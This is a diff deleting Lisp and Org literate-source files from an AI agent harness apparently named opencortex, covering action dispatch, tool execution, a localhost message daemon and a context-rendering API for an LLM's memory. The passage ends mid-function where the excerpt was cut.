harness/act.lisp
133
harness/act.lisp
@@ -1,133 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *default-actuator* :cli
|
||||
"The actuator used when no explicit target is specified.")
|
||||
|
||||
(defvar *silent-actuators* '(:cli :system-message :emacs)
|
||||
"List of actuators that don't generate tool-output feedback.")
|
||||
|
||||
(defun initialize-actuators ()
|
||||
"Register core actuators and load configuration."
|
||||
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
|
||||
(silent (uiop:getenv "SILENT_ACTUATORS")))
|
||||
(when def
|
||||
(setf *default-actuator* (intern (string-upcase def) :keyword)))
|
||||
(when silent
|
||||
(setf *silent-actuators*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
|
||||
(uiop:split-string silent :separator '(#\,))))))
|
||||
|
||||
(register-actuator :system #'execute-system-action)
|
||||
(register-actuator :tool #'execute-tool-action)
|
||||
|
||||
(register-actuator :tui (lambda (action context)
|
||||
(declare (ignore context))
|
||||
(let* ((meta (getf action :meta))
|
||||
(stream (getf meta :reply-stream)))
|
||||
(when (and stream (open-stream-p stream))
|
||||
(format stream "~a" (frame-message action))
|
||||
(finish-output stream))))))
|
||||
|
||||
(defun dispatch-action (action context)
|
||||
"Route an approved action to its registered actuator."
|
||||
(let ((payload (proto-get action :payload)))
|
||||
(when (eq (proto-get payload :sensor) :heartbeat)
|
||||
(return-from dispatch-action nil))
|
||||
|
||||
(when (and action (listp action))
|
||||
(let* ((meta (proto-get context :meta))
|
||||
(source (proto-get meta :source))
|
||||
(raw-target (or (proto-get action :target) source *default-actuator*))
|
||||
(target (intern (string-upcase (string raw-target)) :keyword))
|
||||
(actuator-fn (gethash target *actuator-registry*)))
|
||||
(when (and meta (null (getf action :meta)))
|
||||
(setf (getf action :meta) meta))
|
||||
(if actuator-fn
|
||||
(funcall actuator-fn action context)
|
||||
(harness-log "ACT ERROR: No actuator registered for '~s'" target))))))
|
||||
|
||||
(defun execute-system-action (action context)
|
||||
"Execute internal harness commands."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(cmd (getf payload :action)))
|
||||
(case cmd
|
||||
(:eval
|
||||
(eval (read-from-string (getf payload :code))))
|
||||
(:message
|
||||
(harness-log "ACT [System]: ~a" (getf payload :text)))
|
||||
(t
|
||||
(harness-log "ACT ERROR [System]: Unknown command '~s'" cmd)))))
|
||||
|
||||
(defun execute-tool-action (action context)
|
||||
"Execute a registered cognitive tool."
|
||||
(let* ((payload (getf action :payload))
|
||||
(tool-name (getf payload :tool))
|
||||
(tool-args (getf payload :args))
|
||||
(depth (getf context :depth 0))
|
||||
(meta (getf context :meta))
|
||||
(source (getf meta :source))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
|
||||
(if tool
|
||||
(handler-case
|
||||
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
|
||||
(result (funcall (cognitive-tool-body tool) clean-args)))
|
||||
(when source
|
||||
(dispatch-action (list :TYPE :REQUEST :TARGET source
|
||||
:PAYLOAD (list :ACTION :MESSAGE :TEXT (format-tool-result tool-name result)))
|
||||
context))
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
|
||||
(error (c)
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
|
||||
|
||||
(defun format-tool-result (tool-name result)
|
||||
"Format a tool result for display."
|
||||
(if (listp result)
|
||||
(let ((status (getf result :status))
|
||||
(content (getf result :content))
|
||||
(msg (getf result :message)))
|
||||
(cond
|
||||
((and (eq status :success) content) (format nil "~a" content))
|
||||
((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
|
||||
(t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
|
||||
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
|
||||
|
||||
(defun act-gate (signal)
|
||||
"Final stage of the metabolic pipeline: Actuation."
|
||||
(let* ((approved (getf signal :approved-action))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(source (getf meta :source))
|
||||
(feedback nil))
|
||||
(when approved
|
||||
(let* ((original-type (getf approved :type))
|
||||
(verified (deterministic-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT)) (not (member original-type '(:LOG :EVENT))))
|
||||
(progn
|
||||
(harness-log "ACT BLOCKED: Action failed last-mile deterministic check.")
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf feedback verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf approved verified)))))
|
||||
|
||||
(case type
|
||||
(:REQUEST (dispatch-action signal signal))
|
||||
(:LOG (dispatch-action signal signal))
|
||||
(:EVENT
|
||||
(if approved
|
||||
(let* ((target (getf approved :target))
|
||||
(result (dispatch-action approved signal)))
|
||||
(cond
|
||||
((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
|
||||
(setf feedback result))
|
||||
((and result (not (member target *silent-actuators*)))
|
||||
(setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
|
||||
:payload (list :sensor :tool-output :result result :tool approved))))))
|
||||
(when source (dispatch-action signal signal)))))
|
||||
(setf (getf signal :status) :acted)
|
||||
feedback))
|
||||
187
harness/act.org
187
harness/act.org
@@ -1,187 +0,0 @@
|
||||
#+TITLE: Stage 3: Act (act.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:act:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle act.lisp
|
||||
|
||||
* Overview
|
||||
The Act stage is where cognition meets reality. After the Probabilistic engine proposes and the Deterministic engine verifies, Act executes the approved action.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Actuator Configuration
|
||||
#+begin_src lisp
|
||||
(defvar *default-actuator* :cli
|
||||
"The actuator used when no explicit target is specified.")
|
||||
|
||||
(defvar *silent-actuators* '(:cli :system-message :emacs)
|
||||
"List of actuators that don't generate tool-output feedback.")
|
||||
|
||||
(defun initialize-actuators ()
|
||||
"Register core actuators and load configuration."
|
||||
(let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
|
||||
(silent (uiop:getenv "SILENT_ACTUATORS")))
|
||||
(when def
|
||||
(setf *default-actuator* (intern (string-upcase def) :keyword)))
|
||||
(when silent
|
||||
(setf *silent-actuators*
|
||||
(mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) :keyword))
|
||||
(uiop:split-string silent :separator '(#\,))))))
|
||||
|
||||
(register-actuator :system #'execute-system-action)
|
||||
(register-actuator :tool #'execute-tool-action)
|
||||
|
||||
(register-actuator :tui (lambda (action context)
|
||||
(declare (ignore context))
|
||||
(let* ((meta (getf action :meta))
|
||||
(stream (getf meta :reply-stream)))
|
||||
(when (and stream (open-stream-p stream))
|
||||
(format stream "~a" (frame-message action))
|
||||
(finish-output stream))))))
|
||||
#+end_src
|
||||
|
||||
** Action Dispatch (dispatch-action)
|
||||
#+begin_src lisp
|
||||
(defun dispatch-action (action context)
|
||||
"Route an approved action to its registered actuator."
|
||||
(let ((payload (proto-get action :payload)))
|
||||
(when (eq (proto-get payload :sensor) :heartbeat)
|
||||
(return-from dispatch-action nil))
|
||||
|
||||
(when (and action (listp action))
|
||||
(let* ((meta (proto-get context :meta))
|
||||
(source (proto-get meta :source))
|
||||
(raw-target (or (proto-get action :target) source *default-actuator*))
|
||||
(target (intern (string-upcase (string raw-target)) :keyword))
|
||||
(actuator-fn (gethash target *actuator-registry*)))
|
||||
(when (and meta (null (getf action :meta)))
|
||||
(setf (getf action :meta) meta))
|
||||
(if actuator-fn
|
||||
(funcall actuator-fn action context)
|
||||
(harness-log "ACT ERROR: No actuator registered for '~s'" target))))))
|
||||
#+end_src
|
||||
|
||||
** System Actuator (execute-system-action)
|
||||
#+begin_src lisp
|
||||
(defun execute-system-action (action context)
|
||||
"Execute internal harness commands."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(cmd (getf payload :action)))
|
||||
(case cmd
|
||||
(:eval
|
||||
(eval (read-from-string (getf payload :code))))
|
||||
(:message
|
||||
(harness-log "ACT [System]: ~a" (getf payload :text)))
|
||||
(t
|
||||
(harness-log "ACT ERROR [System]: Unknown command '~s'" cmd)))))
|
||||
#+end_src
|
||||
|
||||
** Tool Actuator (execute-tool-action)
|
||||
#+begin_src lisp
|
||||
(defun execute-tool-action (action context)
|
||||
"Execute a registered cognitive tool."
|
||||
(let* ((payload (getf action :payload))
|
||||
(tool-name (getf payload :tool))
|
||||
(tool-args (getf payload :args))
|
||||
(depth (getf context :depth 0))
|
||||
(meta (getf context :meta))
|
||||
(source (getf meta :source))
|
||||
(tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
|
||||
(if tool
|
||||
(handler-case
|
||||
(let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
|
||||
(result (funcall (cognitive-tool-body tool) clean-args)))
|
||||
(when source
|
||||
(dispatch-action (list :TYPE :REQUEST :TARGET source
|
||||
:PAYLOAD (list :ACTION :MESSAGE :TEXT (format-tool-result tool-name result)))
|
||||
context))
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-output :RESULT result :TOOL tool-name)))
|
||||
(error (c)
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :TOOL tool-name :MESSAGE (format nil "~a" c)))))
|
||||
(list :TYPE :EVENT :DEPTH (1+ depth) :META meta
|
||||
:PAYLOAD (list :SENSOR :tool-error :MESSAGE (format nil "Tool '~a' not found" tool-name))))))
|
||||
#+end_src
|
||||
|
||||
** Tool Result Formatting (format-tool-result)
|
||||
#+begin_src lisp
|
||||
(defun format-tool-result (tool-name result)
|
||||
"Format a tool result for display."
|
||||
(if (listp result)
|
||||
(let ((status (getf result :status))
|
||||
(content (getf result :content))
|
||||
(msg (getf result :message)))
|
||||
(cond
|
||||
((and (eq status :success) content) (format nil "~a" content))
|
||||
((and (eq status :error) msg) (format nil "ERROR [~a]: ~a" tool-name msg))
|
||||
(t (format nil "TOOL [~a] RESULT: ~s" tool-name result))))
|
||||
(format nil "TOOL [~a] RESULT: ~a" tool-name result)))
|
||||
#+end_src
|
||||
|
||||
** Act Gate (Stage 3)
|
||||
#+begin_src lisp
|
||||
(defun act-gate (signal)
|
||||
"Final stage of the metabolic pipeline: Actuation."
|
||||
(let* ((approved (getf signal :approved-action))
|
||||
(type (getf signal :type))
|
||||
(meta (getf signal :meta))
|
||||
(source (getf meta :source))
|
||||
(feedback nil))
|
||||
(when approved
|
||||
(let* ((original-type (getf approved :type))
|
||||
(verified (deterministic-verify approved signal)))
|
||||
(if (and (listp verified) (member (getf verified :type) '(:LOG :EVENT)) (not (member original-type '(:LOG :EVENT))))
|
||||
(progn
|
||||
(harness-log "ACT BLOCKED: Action failed last-mile deterministic check.")
|
||||
(setf (getf signal :approved-action) nil)
|
||||
(setf feedback verified))
|
||||
(progn
|
||||
(setf (getf signal :approved-action) verified)
|
||||
(setf approved verified)))))
|
||||
|
||||
(case type
|
||||
(:REQUEST (dispatch-action signal signal))
|
||||
(:LOG (dispatch-action signal signal))
|
||||
(:EVENT
|
||||
(if approved
|
||||
(let* ((target (getf approved :target))
|
||||
(result (dispatch-action approved signal)))
|
||||
(cond
|
||||
((and (listp result) (member (getf result :type) '(:EVENT :LOG)))
|
||||
(setf feedback result))
|
||||
((and result (not (member target *silent-actuators*)))
|
||||
(setf feedback (list :type :EVENT :depth (1+ (getf signal :depth 0)) :meta meta
|
||||
:payload (list :sensor :tool-output :result result :tool approved))))))
|
||||
(when source (dispatch-action signal signal)))))
|
||||
(setf (getf signal :status) :acted)
|
||||
feedback))
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/pipeline-act-tests.lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :opencortex-pipeline-act-tests
|
||||
(:use :cl :fiveam :opencortex)
|
||||
(:export #:pipeline-act-suite))
|
||||
|
||||
(in-package :opencortex-pipeline-act-tests)
|
||||
|
||||
(def-suite pipeline-act-suite :description "Test suite for Act pipeline")
|
||||
(in-suite pipeline-act-suite)
|
||||
|
||||
(test test-act-gate-basic
|
||||
(clrhash opencortex::*skills-registry*)
|
||||
(let* ((signal (list :type :EVENT :status nil :depth 0 :approved-action '(:target :cli :payload (:text "Hello"))))
|
||||
(result (act-gate signal)))
|
||||
(is (eq :acted (getf signal :status)))
|
||||
(is (null result))))
|
||||
#+end_src
|
||||
@@ -1,9 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defun validate-communication-protocol-schema (msg)
|
||||
"Strict structural validation for incoming protocol messages."
|
||||
(unless (listp msg) (error "Message must be a plist"))
|
||||
(let ((type (proto-get msg :type)))
|
||||
(unless (member type '(:REQUEST :EVENT :RESPONSE :LOG :STATUS))
|
||||
(error "Invalid message type '~a'" type))
|
||||
t))
|
||||
@@ -1,97 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defvar *actuator-registry* (make-hash-table :test 'equalp)
|
||||
"Global registry mapping target keywords to their physical actuator functions.")
|
||||
|
||||
(defun register-actuator (name fn)
|
||||
"Registers an actuator function. Actuators receive: (ACTION CONTEXT)."
|
||||
(let ((key (if (keywordp name) name (intern (string-upcase (string name)) :keyword))))
|
||||
(setf (gethash key *actuator-registry*) fn)))
|
||||
|
||||
(defun sanitize-protocol-message (msg)
|
||||
"Recursively strips non-serializable objects from a protocol plist."
|
||||
(if (and msg (listp msg))
|
||||
(let ((clean nil))
|
||||
(loop for (k v) on msg by #'cddr
|
||||
do (unless (member k '(:reply-stream :socket :stream))
|
||||
(push k clean)
|
||||
(push (if (listp v) (sanitize-protocol-message v) v) clean)))
|
||||
(nreverse clean))
|
||||
msg))
|
||||
|
||||
(defun frame-message (msg)
|
||||
"Serializes a message plist and prefixes it with a 6-character hex length."
|
||||
(let* ((sanitized (sanitize-protocol-message msg))
|
||||
(payload (let ((*print-pretty* nil) (*read-eval* nil)) (format nil "~s" sanitized)))
|
||||
(len (length payload)))
|
||||
(format nil "~6,'0x~a" len payload)))
|
||||
|
||||
(defun read-framed-message (stream)
|
||||
"Reads a hex-length prefixed S-expression from the stream securely."
|
||||
(let ((length-buffer (make-string 6)))
|
||||
(handler-case
|
||||
(progn
|
||||
(loop for char = (peek-char nil stream nil :eof)
|
||||
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
|
||||
do (read-char stream))
|
||||
(let ((count (read-sequence length-buffer stream)))
|
||||
(if (< count 6)
|
||||
:eof
|
||||
(let ((len (ignore-errors (parse-integer length-buffer :radix 16))))
|
||||
(if (not len)
|
||||
:error
|
||||
(let ((msg-buffer (make-string len)))
|
||||
(read-sequence msg-buffer stream)
|
||||
(let ((*read-eval* nil))
|
||||
(handler-case (read-from-string msg-buffer)
|
||||
(error () :error)))))))))
|
||||
(error () :error))))
|
||||
|
||||
(defvar *server-socket* nil)
|
||||
|
||||
(defun handle-client-connection (socket)
|
||||
"Handles a single TUI/CLI client connection in a dedicated thread."
|
||||
(let ((stream (usocket:socket-stream socket)))
|
||||
(handler-case
|
||||
(progn
|
||||
(format stream "~a" (frame-message (make-hello-message "0.2.0")))
|
||||
(finish-output stream)
|
||||
(loop
|
||||
(let ((msg (read-framed-message stream)))
|
||||
(cond
|
||||
((eq msg :eof) (return))
|
||||
((eq msg :error) (return))
|
||||
((eq (getf msg :type) :health-check)
|
||||
;; Handle health check request
|
||||
(let ((health-msg (list :type :health-response
|
||||
:status (or (and (boundp 'opencortex::*system-health*)
|
||||
(symbol-value 'opencortex::*system-health*))
|
||||
:unknown)
|
||||
:checked-p (or (and (boundp 'opencortex::*health-check-ran*)
|
||||
(symbol-value 'opencortex::*health-check-ran*))
|
||||
nil))))
|
||||
(format stream "~a" (frame-message health-msg))
|
||||
(finish-output stream)))
|
||||
(t (inject-stimulus msg :stream stream))))))
|
||||
(error (c) (harness-log "CLIENT ERROR: ~a" c)))
|
||||
(ignore-errors (usocket:socket-close socket))))
|
||||
|
||||
(defun start-daemon (&key (port 9105))
|
||||
"Starts the network listener for TUI/CLI clients."
|
||||
(setf *server-socket* (usocket:socket-listen "127.0.0.1" port :reuse-address t))
|
||||
(harness-log "DAEMON: Listening on localhost:~a" port)
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop
|
||||
(let ((client-socket (usocket:socket-accept *server-socket*)))
|
||||
(when client-socket
|
||||
(bt:make-thread (lambda () (handle-client-connection client-socket))
|
||||
:name "opencortex-client-handler")))))
|
||||
:name "opencortex-server-listener"))
|
||||
|
||||
(defun make-hello-message (version)
|
||||
"Constructs the standard HELLO handshake message."
|
||||
(list :TYPE :EVENT
|
||||
:PAYLOAD (list :ACTION :handshake
|
||||
:VERSION version
|
||||
:CAPABILITIES '(:AUTH :ORG-AST))))
|
||||
@@ -1,112 +0,0 @@
|
||||
(in-package :opencortex)
|
||||
|
||||
(defun context-query-store (&key tag todo-state type)
|
||||
"Filters the Memory based on tags, todo states, or types."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let* ((attrs (org-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
(when (and type (not (eq (org-object-type obj) type))) (setf match nil))
|
||||
(when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
|
||||
(when (and todo-state (not (equal state todo-state))) (setf match nil))
|
||||
(when match (push obj results))))
|
||||
*memory*)
|
||||
results))
|
||||
|
||||
(defun context-get-active-projects ()
|
||||
"Returns headlines tagged as 'project' that are not yet marked DONE."
|
||||
(remove-if (lambda (obj) (equal (getf (org-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(context-query-store :tag "project" :type :HEADLINE)))
|
||||
|
||||
(defun context-get-recent-completed-tasks ()
|
||||
"Retrieves recently finished tasks from the store."
|
||||
(context-query-store :todo-state "DONE" :type :HEADLINE))
|
||||
|
||||
(defun context-list-all-skills ()
|
||||
"Provides a sorted overview of currently loaded system capabilities."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
|
||||
*skills-registry*)
|
||||
(sort results #'> :key (lambda (x) (getf x :priority)))))
|
||||
|
||||
(defun context-get-skill-source (skill-name)
|
||||
"Reads the raw literate source of a specific skill for inspection."
|
||||
(let* ((filename (format nil "~a.org" skill-name))
|
||||
(skills-dir-str (or (uiop:getenv "SKILLS_DIR") (namestring (merge-pathnames "notes/" (user-homedir-pathname)))))
|
||||
(skills-dir (uiop:ensure-directory-pathname (context-resolve-path skills-dir-str)))
|
||||
(full-path (merge-pathnames filename skills-dir)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
|
||||
(defun context-get-system-logs (&optional limit)
|
||||
"Retrieves the most recent lines from the harness's internal log."
|
||||
(let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
|
||||
(bt:with-lock-held (*logs-lock*)
|
||||
(let ((count (min log-limit (length *system-logs*))))
|
||||
(subseq *system-logs* 0 count)))))
|
||||
|
||||
(defun context-render-to-org (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
|
||||
"Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
|
||||
(let* ((id (org-object-id obj))
|
||||
(is-foveal (equal id foveal-id))
|
||||
(title (or (getf (org-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (org-object-content obj))
|
||||
(children (org-object-children obj))
|
||||
(stars (make-string depth :initial-element #\*))
|
||||
(obj-vector (org-object-vector obj))
|
||||
(threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
|
||||
(similarity (if (and foveal-vector obj-vector (not is-foveal))
|
||||
(cosine-similarity foveal-vector obj-vector)
|
||||
0.0))
|
||||
(is-semantically-relevant (>= similarity threshold))
|
||||
(should-render (or (<= depth 2) is-foveal is-semantically-relevant))
|
||||
(output ""))
|
||||
|
||||
(when should-render
|
||||
(setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
|
||||
(when is-semantically-relevant
|
||||
(setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
|
||||
(setf output (concatenate 'string output (format nil ":END:~%")))
|
||||
|
||||
(when (and content (or is-foveal is-semantically-relevant))
|
||||
(setf output (concatenate 'string output content (string #\Newline))))
|
||||
|
||||
(dolist (child-id children)
|
||||
(let ((child-obj (lookup-object child-id)))
|
||||
(when child-obj
|
||||
(let ((next-foveal (if is-foveal child-id foveal-id)))
|
||||
(setf output (concatenate 'string output
|
||||
(context-render-to-org child-obj
|
||||
:depth (1+ depth)
|
||||
:foveal-id next-foveal
|
||||
:semantic-threshold threshold
|
||||
:foveal-vector foveal-vector))))))))
|
||||
output))
|
||||
|
||||
(defun context-resolve-path (path-string)
|
||||
"Expands environment variables and strips literal quotes from a path string."
|
||||
(let ((path (if (stringp path-string)
|
||||
(string-trim '(#\" #\' #\Space) path-string)
|
||||
path-string)))
|
||||
(if (and (stringp path) (search "$" path))
|
||||
(let ((result path))
|
||||
(ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path)
|
||||
(let ((var-val (uiop:getenv var-name)))
|
||||
(when var-val
|
||||
(setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
|
||||
result)
|
||||
path)))
|
||||
|
||||
(defun context-assemble-global-awareness (&optional signal)
|
||||
"Produces a high-level skeletal outline of the current Memory for the LLM."
|
||||
(let* ((foveal-id (or (getf signal :foveal-focus)
|
||||
(ignore-errors (getf (getf signal :payload) :target-id))))
|
||||
(projects (context-get-active-projects))
|
||||
(output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%")))
|
||||
(if projects
|
||||
(dolist (project projects)
|
||||
(setf output (concatenate 'string output
|
||||
(context-render-to-org project :foveal-id foveal-id))))
|
||||
(setf output (concatenate 'string output "No active projects found.~%")))
|
||||
output))
|
||||
@@ -1,189 +0,0 @@
|
||||
#+TITLE: Context API (context.lisp)
|
||||
#+AUTHOR: Agent
|
||||
#+FILETAGS: :harness:context:
|
||||
#+STARTUP: content
|
||||
#+PROPERTY: header-args:lisp :tangle context.lisp
|
||||
|
||||
* Overview
|
||||
The *Context API* (Peripheral Vision) provides the opencortex with the ability to selectively prune and present its memory to the LLM. It implements a **Foveal-Peripheral model**, where the current task is shown in high detail (foveal), while the broader Memex structure is shown as a skeletal outline (peripheral).
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :opencortex)
|
||||
#+end_src
|
||||
|
||||
** Memory Query (context-query-store)
|
||||
#+begin_src lisp
|
||||
(defun context-query-store (&key tag todo-state type)
|
||||
"Filters the Memory based on tags, todo states, or types."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (id obj)
|
||||
(declare (ignore id))
|
||||
(let* ((attrs (org-object-attributes obj)) (state (getf attrs :TODO-STATE)) (match t))
|
||||
(when (and type (not (eq (org-object-type obj) type))) (setf match nil))
|
||||
(when tag (unless (search tag (format nil "~a" (getf attrs :TAGS)) :test #'string-equal) (setf match nil)))
|
||||
(when (and todo-state (not (equal state todo-state))) (setf match nil))
|
||||
(when match (push obj results))))
|
||||
*memory*)
|
||||
results))
|
||||
#+end_src
|
||||
|
||||
** Active Projects (context-get-active-projects)
|
||||
#+begin_src lisp
|
||||
(defun context-get-active-projects ()
|
||||
"Returns headlines tagged as 'project' that are not yet marked DONE."
|
||||
(remove-if (lambda (obj) (equal (getf (org-object-attributes obj) :TODO-STATE) "DONE"))
|
||||
(context-query-store :tag "project" :type :HEADLINE)))
|
||||
#+end_src
|
||||
|
||||
** Completed Tasks (context-get-recent-completed-tasks)
|
||||
#+begin_src lisp
|
||||
(defun context-get-recent-completed-tasks ()
|
||||
"Retrieves recently finished tasks from the store."
|
||||
(context-query-store :todo-state "DONE" :type :HEADLINE))
|
||||
#+end_src
|
||||
|
||||
** Capability Discovery (context-list-all-skills)
|
||||
#+begin_src lisp
|
||||
(defun context-list-all-skills ()
|
||||
"Provides a sorted overview of currently loaded system capabilities."
|
||||
(let ((results nil))
|
||||
(maphash (lambda (name skill)
|
||||
(declare (ignore name))
|
||||
(push (list :name (skill-name skill) :priority (skill-priority skill) :dependencies (skill-dependencies skill)) results))
|
||||
*skills-registry*)
|
||||
(sort results #'> :key (lambda (x) (getf x :priority)))))
|
||||
#+end_src
|
||||
|
||||
** Skill Inspection (context-get-skill-source)
|
||||
#+begin_src lisp
|
||||
(defun context-get-skill-source (skill-name)
|
||||
"Reads the raw literate source of a specific skill for inspection."
|
||||
(let* ((filename (format nil "~a.org" skill-name))
|
||||
(skills-dir-str (or (uiop:getenv "SKILLS_DIR") (namestring (merge-pathnames "notes/" (user-homedir-pathname)))))
|
||||
(skills-dir (uiop:ensure-directory-pathname (context-resolve-path skills-dir-str)))
|
||||
(full-path (merge-pathnames filename skills-dir)))
|
||||
(if (uiop:file-exists-p full-path) (uiop:read-file-string full-path) nil)))
|
||||
#+end_src
|
||||
|
||||
** Harness Logs (context-get-system-logs)
|
||||
#+begin_src lisp
|
||||
(defun context-get-system-logs (&optional limit)
|
||||
"Retrieves the most recent lines from the harness's internal log."
|
||||
(let ((log-limit (or limit (ignore-errors (parse-integer (uiop:getenv "CONTEXT_LOG_LIMIT"))) 20)))
|
||||
(bt:with-lock-held (*logs-lock*)
|
||||
(let ((count (min log-limit (length *system-logs*))))
|
||||
(subseq *system-logs* 0 count)))))
|
||||
#+end_src
|
||||
|
||||
** AST to Org Rendering (context-render-to-org)
|
||||
#+begin_src lisp
|
||||
(defun context-render-to-org (obj &key (depth 1) (foveal-id nil) semantic-threshold (foveal-vector nil))
|
||||
"Recursively renders an org-object and its children to an Org string using a Foveal-Peripheral Hybrid model."
|
||||
(let* ((id (org-object-id obj))
|
||||
(is-foveal (equal id foveal-id))
|
||||
(title (or (getf (org-object-attributes obj) :TITLE) "Untitled"))
|
||||
(content (org-object-content obj))
|
||||
(children (org-object-children obj))
|
||||
(stars (make-string depth :initial-element #\*))
|
||||
(obj-vector (org-object-vector obj))
|
||||
(threshold (or semantic-threshold (ignore-errors (read-from-string (uiop:getenv "CONTEXT_SEMANTIC_THRESHOLD"))) 0.75))
|
||||
(similarity (if (and foveal-vector obj-vector (not is-foveal))
|
||||
(cosine-similarity foveal-vector obj-vector)
|
||||
0.0))
|
||||
(is-semantically-relevant (>= similarity threshold))
|
||||
(should-render (or (<= depth 2) is-foveal is-semantically-relevant))
|
||||
(output ""))
|
||||
|
||||
(when should-render
|
||||
(setf output (format nil "~a ~a~%:PROPERTIES:~%:ID: ~a~%" stars title id))
|
||||
(when is-semantically-relevant
|
||||
(setf output (concatenate 'string output (format nil ":SEMANTIC_SCORE: ~,2f~%" similarity))))
|
||||
(setf output (concatenate 'string output (format nil ":END:~%")))
|
||||
|
||||
(when (and content (or is-foveal is-semantically-relevant))
|
||||
(setf output (concatenate 'string output content (string #\Newline))))
|
||||
|
||||
(dolist (child-id children)
|
||||
(let ((child-obj (lookup-object child-id)))
|
||||
(when child-obj
|
||||
(let ((next-foveal (if is-foveal child-id foveal-id)))
|
||||
(setf output (concatenate 'string output
|
||||
(context-render-to-org child-obj
|
||||
:depth (1+ depth)
|
||||
:foveal-id next-foveal
|
||||
:semantic-threshold threshold
|
||||
:foveal-vector foveal-vector))))))))
|
||||
output))
|
||||
#+end_src
|
||||
|
||||
** Path Resolution (context-resolve-path)
|
||||
#+begin_src lisp
|
||||
(defun context-resolve-path (path-string)
|
||||
"Expands environment variables and strips literal quotes from a path string."
|
||||
(let ((path (if (stringp path-string)
|
||||
(string-trim '(#\" #\' #\Space) path-string)
|
||||
path-string)))
|
||||
(if (and (stringp path) (search "$" path))
|
||||
(let ((result path))
|
||||
(ppcre:do-register-groups (var-name) ("\\$([A-Za-z0-9_]+)" path)
|
||||
(let ((var-val (uiop:getenv var-name)))
|
||||
(when var-val
|
||||
(setf result (ppcre:regex-replace (format nil "\\$~a" var-name) result var-val)))))
|
||||
result)
|
||||
path)))
|
||||
#+end_src
|
||||
|
||||
** Global Awareness (context-assemble-global-awareness)
|
||||
#+begin_src lisp
|
||||
(defun context-assemble-global-awareness (&optional signal)
|
||||
"Produces a high-level skeletal outline of the current Memory for the LLM."
|
||||
(let* ((foveal-id (or (getf signal :foveal-focus)
|
||||
(ignore-errors (getf (getf signal :payload) :target-id))))
|
||||
(projects (context-get-active-projects))
|
||||
(output (format nil "GLOBAL MEMEX AWARENESS (Peripheral Vision):~%")))
|
||||
(if projects
|
||||
(dolist (project projects)
|
||||
(setf output (concatenate 'string output
|
||||
